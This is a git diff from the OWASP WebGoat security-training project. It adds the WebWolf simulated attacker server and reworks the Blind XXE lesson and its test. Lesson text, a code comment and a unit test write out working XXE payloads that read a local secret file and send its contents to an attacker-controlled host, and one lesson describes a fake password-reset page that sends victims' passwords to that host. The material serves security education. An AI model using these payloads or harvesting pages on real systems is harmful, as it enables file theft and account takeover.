.andDo(MockMvcResultHandlers.print())
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(false)));
}
}

View File

@ -53,7 +53,7 @@ public class VulnerableComponentsLessonTest extends AssignmentEndpointTest {
@Test
public void success() throws Exception {
// mockMvc.perform(MockMvcRequestBuilders.post("/VulnerableComponents/attack1").content("Test"))
// .andExpect(status().isOk()).andDo(MockMvcResultHandlers.print())
// .andExpect(status().isOk())
// .andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("http-proxies.intercept.success"))))
// .andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(true)));
}

View File

@ -0,0 +1,11 @@
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<modelVersion>4.0.0</modelVersion>
<artifactId>webwolf-introduction</artifactId>
<packaging>jar</packaging>
<parent>
<groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId>
<version>8.0-SNAPSHOT</version>
</parent>
</project>

View File

@ -0,0 +1,49 @@
package org.owasp.webgoat.plugin;
import org.apache.commons.lang3.StringUtils;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentPath;
import org.owasp.webgoat.assignments.AttackResult;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.servlet.ModelAndView;
import javax.servlet.http.HttpServletRequest;
import java.net.URI;
import java.net.URISyntaxException;
/**
* @author nbaars
* @since 8/20/17.
*/
@AssignmentPath("/WebWolf/landing")
public class LandingAssignment extends AssignmentEndpoint {
@Value("${webworf.url.landingpage}")
private String landingPageUrl;
@PostMapping
@ResponseBody
public AttackResult click(String uniqueCode) {
if (StringUtils.reverse(getWebSession().getUserName()).equals(uniqueCode)) {
return trackProgress(success().build());
}
return failed().feedback("webwolf.landing_wrong").build();
}
@GetMapping("/password-reset")
public ModelAndView openPasswordReset(HttpServletRequest request) throws URISyntaxException {
URI uri = new URI(request.getRequestURL().toString());
ModelAndView modelAndView = new ModelAndView();
modelAndView.addObject("webwolfUrl", landingPageUrl);
modelAndView.addObject("uniqueCode", StringUtils.reverse(getWebSession().getUserName()));
modelAndView.setViewName("webwolfPasswordReset");
return modelAndView;
}
}

View File

@ -0,0 +1,55 @@
package org.owasp.webgoat.plugin;
import lombok.AllArgsConstructor;
import org.apache.commons.lang3.StringUtils;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentPath;
import org.owasp.webgoat.assignments.AttackResult;
import org.owasp.webgoat.mail.IncomingMailEvent;
import org.springframework.jms.core.JmsTemplate;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import java.time.LocalDateTime;
/**
* @author nbaars
* @since 8/20/17.
*/
@AssignmentPath("/WebWolf/mail")
@AllArgsConstructor
public class MailAssignment extends AssignmentEndpoint {
private JmsTemplate jmsTemplate;
@PostMapping("send")
@ResponseBody
public AttackResult sendEmail(@RequestParam String email) {
String username = email.substring(0, email.indexOf("@"));
if (username.equals(getWebSession().getUserName())) {
IncomingMailEvent mailEvent = IncomingMailEvent.builder()
.recipient(username)
.title("Test messages from WebWolf")
.time(LocalDateTime.now())
.contents("This is a test message from WebWolf, your unique code is" + StringUtils.reverse(username))
.sender("webgoat@owasp.org")
.build();
jmsTemplate.convertAndSend("mailbox", mailEvent);
return informationMessage().feedback("webwolf.email_send").feedbackArgs(email).build();
} else {
return informationMessage().feedback("webwolf.email_mismatch").feedbackArgs(username).build();
}
}
@PostMapping
@ResponseBody
public AttackResult completed(@RequestParam String uniqueCode) {
if (uniqueCode.equals(StringUtils.reverse(getWebSession().getUserName()))) {
return trackProgress(success().build());
} else {
return trackProgress(failed().feedbackArgs("webwolf.code_incorrect").feedbackArgs(uniqueCode).build());
}
}
}

View File

@ -0,0 +1,63 @@
package org.owasp.webgoat.plugin;
import org.owasp.webgoat.lessons.Category;
import org.owasp.webgoat.lessons.NewLesson;
import java.util.ArrayList;
import java.util.List;
/**
* ************************************************************************************************
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
* <p>
* Copyright (c) 2002 - 20014 Bruce Mayhew
* <p>
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
* <p>
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
* <p>
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
* <p>
* Getting Source ==============
* <p>
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
* projects.
* <p>
*
* @author WebGoat
* @version $Id: $Id
* @since October 12, 2016
*/
public class WebWolfIntroduction extends NewLesson {
@Override
public Category getDefaultCategory() {
return Category.INTRODUCTION;
}
@Override
public List<String> getHints() {
return new ArrayList();
}
@Override
public Integer getDefaultRanking() {
return 1;
}
@Override
public String getTitle() {
return "webwolf.title";
}
@Override
public String getId() {
return "WebWolfIntroduction";
}
}

View File

@ -0,0 +1,99 @@
<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<div class="lesson-page-wrapper">
<div class="adoc-content" th:replace="doc:Introduction.adoc"></div>
</div>
<div class="lesson-page-wrapper">
<div class="adoc-content" th:replace="doc:Uploading_files.adoc"></div>
</div>
<div class="lesson-page-wrapper">
<div class="adoc-content" th:replace="doc:Receiving_mail.adoc"></div>
<div class="attack-container">
<form accept-charset="UNKNOWN"
method="POST" name="form"
action="/WebGoat/WebWolf/send"
enctype="application/json;charset=UTF-8">
<div class="container-fluid">
<div class="row">
<div class="col-md-4">
<div class="form-group input-group">
<span class="input-group-addon">
@
</span>
<input class="form-control" placeholder="test1233@webgoat.org" name="email" type="email"
required=""/>
</div>
<button type="submit" class="btn btn-primary btn-block" id="btn-login">
Send e-mail
</button>
</div>
</div>
</div>
</form>
<br/>
<br/>
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
<form class="attack-form" accept-charset="UNKNOWN"
method="POST" name="form"
action="/WebGoat/WebWolf/mail/"
enctype="application/json;charset=UTF-8">
<div class="container-fluid">
<div class="row">
<div class="col-md-4">
<div class="input-group">
<input type="text" class="form-control"
placeholder="Type in your unique code"
name='uniqueCode'/>
<div class="input-group-btn">
<button class="btn btn-primary" type="submit">Go</button>
</div>
</div>
</div>
</div>
</div>
</form>
<br/>
<br/>
<div class="attack-feedback"></div>
<div class="attack-output"></div>
</div>
</div>
<div class="lesson-page-wrapper">
<div class="adoc-content" th:replace="doc:Landing_page.adoc"></div>
<div class="attack-container">
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
<a href="/WebGoat/WebWolf/landing/password-reset" target="_blank">Click here to reset your password</a>
<br/>
<br/>
<form class="attack-form" accept-charset="UNKNOWN"
method="POST" name="form"
action="/WebGoat/WebWolf/landing/"
enctype="application/json;charset=UTF-8">
<div class="container-fluid">
<div class="row">
<div class="col-md-4">
<div class="input-group">
<input type="text" class="form-control"
placeholder="Type in your unique code"
name='uniqueCode'/>
<div class="input-group-btn">
<button class="btn btn-primary" type="submit">Go</button>
</div>
</div>
</div>
</div>
</div>
</form>
<br/>
<br/>
<div class="attack-feedback"></div>
<div class="attack-output"></div>
</div>
</div>
</html>

View File

@ -0,0 +1,9 @@
webwolf.title=WebWolf
webwolf.email_send=An email has been send to {0} please check your inbox.
webwolf.code_incorrect=That is not the correct code: {0}, please try again.
webwolf.email_mismatch=Of course you can send mail to user {0} however you will not be able to read this e-mail in WebWolf, please use your own username.
webwolf.landing_wrong=This is the wrong code, try to look for the uniqueCode in the parameters in WebWolf.

Binary file not shown.

After

Width:  |  Height:  |  Size: 26 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 54 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 57 KiB

View File

@ -0,0 +1,21 @@
== Introducing WebWolf
WebWolf is a separate web application which simulates an attackers machine. It makes it possible for us to
make a clear distinction between what takes place on the attacked website and the actions you need to do as
an "attacker". WebWolf was introduced after a couple of workshops where we received feedback about the fact there
was no clear distinction between what was part of the "attackers" role and what was part of the "users" role on the
website. The following items are supported in WebWolf:
* Hosting a file
* Receiving email
* Landing page for incoming requests
WebWolf runs as a separate web application and is started automatically when using the Docker image. If you
are not using the Docker image you will need to download the jar file and start it:
```
java -jar webwolf-<<version>>.jar
```
This will start the application on port 8081, in your browser type: `http://localhost:8081/WebWolf`
You will be redirected to the login page where you need to login with your WebGoat username and password

View File

@ -0,0 +1,25 @@
== Landing page
This page will show all the requests made to '/landing/**'. This means
you can use WebWolf as your landing page for harvesting cookies etc which
is helpful when you perform a XSS lesson.
image::images/requests.png[caption="Figure: ", style="lesson-image"]
{nbsp}
{nbsp}
{nbsp}
*For this exercise you need to login to WebWolf first.*
{nbsp}
{nbsp}
Suppose we tricked a user to click on a link he/she received in an email, this link will open up our crafted
password reset link page. The user does not see any difference with the normal password reset page of the company.
The user enters a new password and hits enter, the new password will be send to your host. In this case the new
password will be send to WebWolf. Try to locate the unique code.
Please be aware after resetting the password the user will receive an error page in a real attack scenario the
user would probably see a normal success page (this is due to a limit what we can control with WebWolf)

View File

@ -0,0 +1,18 @@
== Your own mailbox
WebWolf offers a mail client which will contain the e-mail send during a lesson.
This mailbox is user specific so each user has a separate mailbox. All e-mail
send to {user}@.... wil end up in this inbox.
{nbsp}
{nbsp}
{nbsp}
image::images/mailbox.png[caption="Figure: ", style="lesson-image"]
{nbsp}
{nbsp}
{nbsp}
Try it, type in your e-mail address below and check in
WebWolf your e-mail and type in the unique code below.

View File

@ -0,0 +1,12 @@
== Uploading files
In this section you can upload files these files will be available from outside
the application. For example in a XXE attack you want to reference a DTD which you
reference from a xml, you can use WebWolf to serve this DTD.
image::images/files.png[caption="Figure: ", style="lesson-image"]
{nbsp}
After uploading a file you can use the 'Link' to get the full URL to the uploaded
file.

View File

@ -0,0 +1,34 @@
<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<head>
<link rel="stylesheet" type="text/css" th:href="@{/plugins/bootstrap/css/bootstrap.min.css}"/>
<link rel="stylesheet" type="text/css" th:href="@{/css/font-awesome.min.css}"/>
</head>
<body>
<div class="container">
<div class="row">
<div class="col-xs-12 col-sm-8 col-md-6 col-sm-offset-2 col-md-offset-3">
<form role="form" method="POST" th:action="${webwolfUrl}">
<h2 class="sign_up_title">Reset your password</h2>
<input type="hidden" name="uniqueCode" th:value="${uniqueCode}"/>
<div class="form-group">
<label for="password" class="control-label">Password</label>
<input type="password" class="form-control" id="password" placeholder="Password"
name='password'/>
</div>
<div class="row">
<div class="col-xs-12 col-md-12">
<button type="submit" class="btn btn-success btn-block btn-lg">Save</button>
</div>
</div>
<div>
<a href="https://github.com/WebGoat">(c) 2017 WebGoat Company</a>
</div>
</form>
</div>
</div>
</div>
</body>
</html>

View File

@ -15,5 +15,13 @@
<artifactId>commons-lang</artifactId>
<version>2.6</version>
</dependency>
<dependency>
<groupId>com.github.tomakehurst</groupId>
<artifactId>wiremock</artifactId>
<version>2.8.0</version>
<scope>test</scope>
</dependency>
</dependencies>
</project>

View File

@ -1,17 +1,13 @@
package org.owasp.webgoat.plugin;
import com.beust.jcommander.internal.Lists;
import com.google.common.base.Joiner;
import lombok.SneakyThrows;
import org.apache.commons.io.FileUtils;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentPath;
import org.owasp.webgoat.assignments.AttackResult;
import org.owasp.webgoat.session.WebSession;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.core.io.ClassPathResource;
import org.springframework.http.MediaType;
import org.springframework.util.FileCopyUtils;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
@ -19,10 +15,8 @@ import org.springframework.web.bind.annotation.ResponseBody;
import javax.annotation.PostConstruct;
import java.io.File;
import java.io.FileOutputStream;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.List;
import static org.apache.commons.lang3.RandomStringUtils.randomAlphabetic;
/**
* ************************************************************************************************
@ -56,46 +50,47 @@ import java.util.List;
@AssignmentPath("xxe/blind")
public class BlindSendFileAssignment extends AssignmentEndpoint {
static final String CONTENTS = "WebGoat 8.0 rocks... (" + randomAlphabetic(10) + ")";
@Value("${webgoat.user.directory}")
private String webGoatHomeDirectory;
@Autowired
private Comments comments;
@Autowired
private WebSession webSession;
@PostConstruct
@SneakyThrows
public void copyFile() {
ClassPathResource classPathResource = new ClassPathResource("secret.txt");
public void createSecretFileWithRandomContents() {
File targetDirectory = new File(webGoatHomeDirectory, "/XXE");
if (!targetDirectory.exists()) {
targetDirectory.mkdir();
}
FileCopyUtils.copy(classPathResource.getInputStream(), new FileOutputStream(new File(targetDirectory, "secret.txt")));
FileUtils.write(new File(targetDirectory, "secret.txt"), CONTENTS);
}
@RequestMapping(method = RequestMethod.POST, consumes = MediaType.ALL_VALUE, produces = MediaType.APPLICATION_JSON_VALUE)
@ResponseBody
public AttackResult addComment(@RequestBody String commentStr) throws Exception {
String error = "Parsing successful contents not send to attacker";
//Solution is posted as a separate comment
if (commentStr.contains(CONTENTS)) {
return trackProgress(success().build());
}
try {
Comment comment = comments.parseXml(commentStr);
comments.addComment(comment, false);
} catch (Exception e) {
error = e.toString();
}
File logFile = new File(webGoatHomeDirectory, "/XXE/log" + webSession.getUserName() + ".txt");
List<String> lines = logFile.exists() ? Files.readAllLines(Paths.get(logFile.toURI())) : Lists.newArrayList();
boolean solved = lines.stream().filter(l -> l.contains("WebGoat 8 rocks...")).findFirst().isPresent();
if (solved) {
logFile.delete();
return trackProgress(success().output("xxe.blind.output").outputArgs(Joiner.on('\n').join(lines)).build());
} else {
return trackProgress(failed().output(error).build());
return trackProgress(failed().output(e.toString()).build());
}
return trackProgress(failed().build());
}
/**
<?xml version="1.0"?>
<!DOCTYPE comment [
<!ENTITY % remote SYSTEM "http://localhost:8081/files/admin2/attack.dtd">
%remote;
]>
<comment> <text>test&send;</text></comment>
**/
/**
* Solution:
*
@ -104,14 +99,14 @@ public class BlindSendFileAssignment extends AssignmentEndpoint {
* <pre>
* <?xml version="1.0" encoding="UTF-8"?>
* <!ENTITY % file SYSTEM "file:///c:/windows-version.txt">
* <!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:8080/WebGoat/XXE/ping?text=%file;'>">
* <!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:8081/ping?text=%file;'>">
* %all;
* </pre>
*
* This will be reduced to:
*
* <pre>
* <!ENTITY send SYSTEM 'http://localhost:8080/WebGoat/XXE/ping?text=[contents_file]'>
* <!ENTITY send SYSTEM 'http://localhost:8081/ping?text=[contents_file]'>
* </pre>
*
* Wire it all up in the xml send to the server:
@ -119,7 +114,7 @@ public class BlindSendFileAssignment extends AssignmentEndpoint {
* <pre>
* <?xml version="1.0"?>
* <!DOCTYPE root [
* <!ENTITY % remote SYSTEM "http://localhost:8080/WebGoat/plugin_lessons/XXE/test.dtd">
* <!ENTITY % remote SYSTEM "http://localhost:8081/WebWolf/files/test.dtd">
* %remote;
* ]>
* <user>

View File

@ -1,39 +1,30 @@
== Blind XXE
In some cases you will see no output because although your attack might have worked the field is not reflected in the output of page.
Or the resource you are trying to read contains illegal XML character which causes the parser to fail.
Let's start with an example, in this case we reference a external DTD which we control on our own server.
Let's start with an example, in this case we reference an external DTD which we control on our own server.
Our WebGoat server by default has an /xxe/ping endpoint which we can use. *This can be any server under your control.*
[source]
----
curl -i http://localhost:8080/WebGoat/XXE/ping?text=HelloWorld
will result in:
GET curl/7.45.0 HelloWorld
----
at the server side.
As an attacker you have WebWolf under your control (*this can be any server under your control.*), you can for example
use this server to ping it using `http://localhost:8081/ping?text=HelloWorld
How do we use this endpoint to verify whether we can perform XXE?
In the `~/${user.home}/.webgoat/plugin/XXE` create a file called attack.dtd
We can again use WebWolf to host a file called `attack.dtd`, create this file with the following contents:
[source]
----
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY ping SYSTEM 'http://localhost:8080/WebGoat/XXE/ping?text=HelloWorld'>
<!ENTITY ping SYSTEM 'http://localhost:8081/ping?text=HelloWorld'>
----
Now submit the form and change the xml to:
Now submit the form change the xml using to:
[source]
----
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://localhost:8080/WebGoat/XXE/attack.dtd">
<!ENTITY % remote SYSTEM "http://localhost:8081/WebWolf/files/attack.dtd">
%remote;
]>
<comment>
@ -41,16 +32,24 @@ Now submit the form and change the xml to:
</comment>
----
Now if we check our server log we will see:
Now in WebWolf browse to 'Incoming requests' and you will see:
[source]
----
GET Java/1.8.0_101 HelloWorld
{
"method" : "GET",
"path" : "/ping",
"headers" : {
"request" : {
"user-agent" : "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
},
},
"parameters" : {
"test" : [ "HelloWorld" ],
},
"timeTaken" : "1"
}
----
So with the XXE we are able to ping our own server which means XXE injection is possible. So with the XXE injection
we are basically able to reach the same effect as we did in the beginning with the curl command.
[NOTE]
In this case we use http://localhost:8080/WebGoat/plugin_lessons/XXE/test.dtd to fetch the dtd but in reality this will
of course be a host fully under the attackers control.

View File

@ -1,10 +1,23 @@
== Blind XXE assignment
In the previous page we showed you how you can ping a server with a XXE attack, in this assignment try to make a DTD
which will upload the contents of ~/.webgoat/plugin/XXE/secret.txt to our server.
For Linux: `/home/USER/.webgoat/XXE/secret.txt`, for Windows this would be `c:/Users/USER/.webgoat/XXE/secret.txt`
If you use the Docker based WebGoat environment this file is located here: `/root/.webgoat/XXE/secret.txt`
which will upload the contents of ~/.webgoat/plugin/XXE/secret.txt to our server. You can use WebWolf to serve your
DTD.
Try to upload this file using the following endpoint: `http://localhost:8080/WebGoat/XXE/ping?text=[contents_file]` (NOTE: this endpoint is under your full control)
You can login to the Docker container as follows: `docker exec -i -t <<name>> /bin/bash`
|===
|OS |Location
|Linux
|`/home/USER/.webgoat/XXE/secret.txt`
|Windows
|`c:/Users/USER/.webgoat/XXE/secret.txt`
|Docker
|`/home/webgoat/.webgoat/XXE/secret.txt`
|===
Try to upload this file using WebWolf landing page for example: `http://localhost:8081/WebWolf/landing?text=[contents_file]`
(NOTE: this endpoint is under your full control)
Once you obtained the contents of the file post it as a new comment on the page and you will solve the lesson.

View File

@ -1,8 +1,11 @@
package org.owasp.webgoat.plugin;
import com.google.common.io.Files;
import com.github.tomakehurst.wiremock.client.WireMock;
import com.github.tomakehurst.wiremock.junit.WireMockRule;
import com.github.tomakehurst.wiremock.verification.LoggedRequest;
import org.hamcrest.CoreMatchers;
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.owasp.webgoat.plugins.LessonTest;
@ -10,11 +13,12 @@ import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import org.springframework.test.web.servlet.result.MockMvcResultHandlers;
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
import java.io.File;
import java.util.List;
import static com.github.tomakehurst.wiremock.client.WireMock.*;
import static org.assertj.core.api.Assertions.assertThat;
import static org.mockito.Mockito.when;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
@ -32,13 +36,14 @@ public class BlindSendFileAssignmentTest extends LessonTest {
@Value("${webgoat.user.directory}")
private String webGoatHomeDirectory;
@Rule
public WireMockRule webwolfServer = new WireMockRule(8081);
@Before
public void setup() throws Exception {
XXE xxe = new XXE();
when(webSession.getCurrentLesson()).thenReturn(xxe);
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
File logFile = new File(webGoatHomeDirectory, "/XXE/log" + webSession.getUserName() + ".txt");
if (logFile.exists()) logFile.delete();
when(webSession.getUserName()).thenReturn("unit-test");
}
@ -47,7 +52,7 @@ public class BlindSendFileAssignmentTest extends LessonTest {
int nrOfComments = comments.getComments().size();
mockMvc.perform(MockMvcRequestBuilders.post("/xxe/blind")
.content("<comment><text>test</text></comment>"))
.andDo(MockMvcResultHandlers.print())
.andExpect(status().isOk())
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.not.solved"))));
assertThat(comments.getComments().size()).isEqualTo(nrOfComments + 1);
@ -57,7 +62,7 @@ public class BlindSendFileAssignmentTest extends LessonTest {
public void wrongXmlShouldGiveErrorBack() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/xxe/blind")
.content("<comment><text>test</ext></comment>"))
.andDo(MockMvcResultHandlers.print())
.andExpect(status().isOk())
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.not.solved"))))
.andExpect(jsonPath("$.output", CoreMatchers.is("javax.xml.bind.UnmarshalException\\n - with linked exception:\\n[javax.xml.stream.XMLStreamException: ParseError at [row,col]:[1,22]\\nMessage: The element type \\\"text\\\" must be terminated by the matching end-tag \\\"<\\/text>\\\".]")));
@ -65,26 +70,39 @@ public class BlindSendFileAssignmentTest extends LessonTest {
@Test
public void solve() throws Exception {
File file = new File(webGoatHomeDirectory, "XXE/attack.dtd");
File targetFile = new File(webGoatHomeDirectory, "/XXE/secret.txt");
String dtd = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
"<!ENTITY % file SYSTEM \"file:///" + webGoatHomeDirectory + "/XXE/secret.txt\">\n" +
"<!ENTITY % all \"<!ENTITY send SYSTEM 'http://localhost:" + localPort + "/WebGoat/XXE/ping?text=%file;'>\">\n" +
"<!ENTITY % file SYSTEM \"" + targetFile.toURI().toString() + "\">\n" +
"<!ENTITY % all \"<!ENTITY send SYSTEM 'http://localhost:8081/landing?text=%file;'>\">\n" +
"%all;";
Files.write(dtd.getBytes(), file);
String xml = "<?xml version=\"1.0\"?>\n" +
"<!DOCTYPE root [\n" +
"<!ENTITY % remote SYSTEM \"file://" + file.getAbsolutePath() + "\">\n" +
"%remote;\n" +
"]>\n" +
"<comment>\n" +
" <text>test&send;</text>\n" +
"</comment>";
webwolfServer.stubFor(get(WireMock.urlMatching("/files/test.dtd"))
.willReturn(aResponse()
.withStatus(200)
.withBody(dtd)));
webwolfServer.stubFor(get(urlMatching("/landing.*")).willReturn(aResponse().withStatus(200)));
String xml = "<?xml version=\"1.0\"?>" +
"<!DOCTYPE comment [" +
"<!ENTITY % remote SYSTEM \"http://localhost:8081/files/test.dtd\">" +
"%remote;" +
"]>" +
"<comment><text>test&send;</text></comment>";
//Call with XXE injection
mockMvc.perform(MockMvcRequestBuilders.post("/xxe/blind")
.content(xml))
.andDo(MockMvcResultHandlers.print())
.andExpect(status().isOk())
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.solved"))))
.andExpect(jsonPath("$.output", CoreMatchers.containsString("WebGoat 8 rocks...")));
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.not.solved"))));
List<LoggedRequest> requests = findAll(getRequestedFor(urlMatching("/landing.*")));
assertThat(requests.size()).isEqualTo(1);
String text = requests.get(0).getQueryParams().get("text").firstValue();
//Call with retrieved text
mockMvc.perform(MockMvcRequestBuilders.post("/xxe/blind")
.content("<comment><text>" + text + "</text></comment>"))
.andExpect(status().isOk())
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.solved"))));
}
}

View File

@ -36,6 +36,11 @@
<directory>${project.build.directory}</directory>
<include>${project.build.finalName}.jar</include>
</resource>
<resource>
<targetPath>/</targetPath>
<directory>${project.basedir}/../webwolf/target</directory>
<include>webwolf-${project.version}.jar</include>
</resource>
</resources>
</configuration>
</plugin>
@ -70,6 +75,22 @@
</plugins>
</build>
</profile>
<profile>
<id>ctf</id>
<dependencies>
<dependency>
<groupId>org.owasp.webgoat</groupId>
<artifactId>webgoat-container</artifactId>
<version>${project.version}</version>
<exclusions>
<exclusion>
<groupId>de.flapdoodle.embed</groupId>
<artifactId>de.flapdoodle.embed.mongo</artifactId>
</exclusion>
</exclusions>
</dependency>
</dependencies>
</profile>
</profiles>
<dependencies>
@ -159,6 +180,11 @@
<artifactId>auth-bypass</artifactId>
<version>${project.version}</version>
</dependency>
<dependency>
<groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webwolf-introduction</artifactId>
<version>${project.version}</version>
</dependency>
<dependency>
<groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>missing-function-ac</artifactId>
@ -167,9 +193,9 @@
<!--uncommment below to run/include lesson template in WebGoat Build-->
<!--<dependency>-->
<!--<groupId>org.owasp.webgoat.lesson</groupId>-->
<!--<artifactId>webgoat-lesson-template</artifactId>-->
<!--<version>${project.version}</version>-->
<!--<groupId>org.owasp.webgoat.lesson</groupId>-->
<!--<artifactId>webgoat-lesson-template</artifactId>-->
<!--<version>${project.version}</version>-->
<!--</dependency>-->
<!-- /lessons -->
<dependency>

View File

@ -3,9 +3,10 @@ FROM openjdk:8-jre
RUN useradd --home-dir /home/webgoat --create-home -U webgoat
USER webgoat
RUN mkdir -p /home/webgoat/.embedmongo/linux
RUN curl -o /home/webgoat/.embedmongo/linux/mongodb-linux-x86_64-3.2.2.tgz https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-3.2.2.tgz
RUN cd /home/webgoat/; mkdir -p .webgoat
COPY webgoat-server-8.0-SNAPSHOT.jar /home/webgoat/webgoat.jar
ENTRYPOINT ["java","-Djava.security.egd=file:/dev/./urandom","-jar","/home/webgoat/webgoat.jar"]
COPY webwolf-8.0-SNAPSHOT.jar /home/webgoat/webwolf.jar
COPY startup.sh /home/webgoat/startup.sh
RUN sudo chmod +x /home/webgoat/startup.sh
CMD ["/home/webgoat/startup.sh"]

View File

@ -0,0 +1,6 @@
#!/bin/sh
java -Djava.security.egd=file:/dev/./urandom -jar /home/webgoat/webgoat.jar &
echo "Waiting for WebGoat to start..."
sleep 20
java -Djava.security.egd=file:/dev/./urandom -jar /home/webgoat/webwolf.jar

View File

@ -22,7 +22,9 @@
* projects.
* <p>
*/
package org.owasp.webgoat;import org.springframework.boot.SpringApplication;
package org.owasp.webgoat;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
/**
@ -30,7 +32,7 @@ import org.springframework.boot.autoconfigure.SpringBootApplication;
* @date 2/21/17
*/
@SpringBootApplication
public class StartWebGoat {
public class StartWebGoat {
public static void main(String[] args) {
SpringApplication.run(WebGoat.class, args);

46
webwolf/README.md Normal file
View File

@ -0,0 +1,46 @@
# WebWolf
## Introduction
During workshops one of the feedback items was that in some lesson it was not clear what you controlled
as an attacker and what was part of the lesson. To make this separation more distinct we created
WebWolf which is completely controlled by you as the attacker and runs as a separate application.
Instead of using your own machine which would involve WebGoat being connected to your local network
or internet (remember WebGoat is a vulnerable webapplication) we created WebWolf which is the the
environment for you as an attacker.
At the moment WebWolf offers support for:
- Receiving e-mails
- Serving files
- Logging of incoming requests (cookies etc)
## Running
### Docker
If you use the Docker image of WebGoat this application will automatically be available. Use the following
URL: http://localhost:8081/WebWolf
### Standalone
```Shell
cd WebGoat
git checkout develop
mvn clean install
```
Now we are ready to run the project. WebGoat 8.x is using Spring-Boot.
```Shell
mvn -pl webwolf spring-boot:run
```
... you should be running WebWolf on localhost:8081/WebWolf momentarily
### Mapping
The web application runs on '/' and the controllers and Thymeleaf templates are hardcoded to '/WebWolf' we need
to have '/' available which acts as a landing page for incoming requests.

111
webwolf/pom.xml Normal file
View File

@ -0,0 +1,111 @@
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<modelVersion>4.0.0</modelVersion>
<artifactId>webwolf</artifactId>
<packaging>jar</packaging>
<parent>
<groupId>org.owasp.webgoat</groupId>
<artifactId>webgoat-parent</artifactId>
<version>8.0-SNAPSHOT</version>
</parent>
<dependencies>
<dependency>
<groupId>org.owasp.webgoat</groupId>
<artifactId>webgoat-commons</artifactId>
<version>${project.version}</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.datatype</groupId>
<artifactId>jackson-datatype-jsr310</artifactId>
</dependency>
<dependency>
<groupId>com.google.guava</groupId>
<artifactId>guava</artifactId>
<version>${guava.version}</version>
</dependency>
<dependency>
<groupId>org.projectlombok</groupId>
<artifactId>lombok</artifactId>
</dependency>
<dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
<version>LATEST</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-cache</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-security</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>
<dependency>
